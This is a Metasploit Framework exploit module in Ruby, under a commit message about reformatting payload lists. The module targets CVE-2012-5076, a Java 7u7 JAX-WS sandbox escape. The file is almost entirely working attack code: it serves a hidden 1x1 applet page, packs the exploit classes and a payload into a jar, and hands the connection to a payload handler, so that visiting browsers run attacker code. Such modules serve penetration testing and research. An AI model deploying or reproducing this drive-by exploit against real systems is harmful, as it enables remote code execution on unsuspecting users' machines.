Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
121 lines
3.5 KiB
Ruby
121 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::BrowserAutopwn
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autopwn_info({ :javascript => false })
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def initialize( info = {} )
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super( update_info( info,
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'Name' => 'Java Applet JAX-WS Remote Code Execution',
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'Description' => %q{
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This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
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code outside of the sandbox as exploited in the wild in November of 2012. The
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vulnerability affects Java version 7u7 and earlier.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # Vulnerability Discovery
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'juan vazquez' # metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2012-5076' ],
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[ 'OSVDB', '86363' ],
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[ 'BID', '56054' ],
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[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
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[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],
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[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]
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],
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'Platform' => %w{ java win },
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'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
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'Targets' =>
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[
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[ 'Generic (Java Payload)',
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{
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'Arch' => ARCH_JAVA,
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}
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],
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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}
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],
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[ 'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 16 2012'
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))
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end
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def on_request_uri( cli, request )
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if not request.uri.match(/\.jar$/i)
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if not request.uri.match(/\/$/)
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send_redirect(cli, get_resource() + '/', '')
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return
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end
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print_status("#{self.name} handling request")
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send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
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return
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end
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paths = [
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[ "Exploit.class" ],
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[ "MyPayload.class" ]
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]
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p = regenerate_payload(cli)
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jar = p.encoded_jar
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paths.each do |path|
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1.upto(path.length - 1) do |idx|
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full = path[0,idx].join("/") + "/"
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if !(jar.entries.map{|e|e.name}.include?(full))
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jar.add_file(full, '')
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end
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end
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fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2012-5076", path ), "rb")
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data = fd.read(fd.stat.size)
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jar.add_file(path.join("/"), data)
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fd.close
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end
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print_status("Sending Applet.jar")
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send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
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handler( cli )
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end
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def generate_html
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jar_name = rand_text_alpha(rand(6)+3) + ".jar"
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html = "<html><head></head>"
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html += "<body>"
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html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
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html += "</applet></body></html>"
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return html
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end
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end
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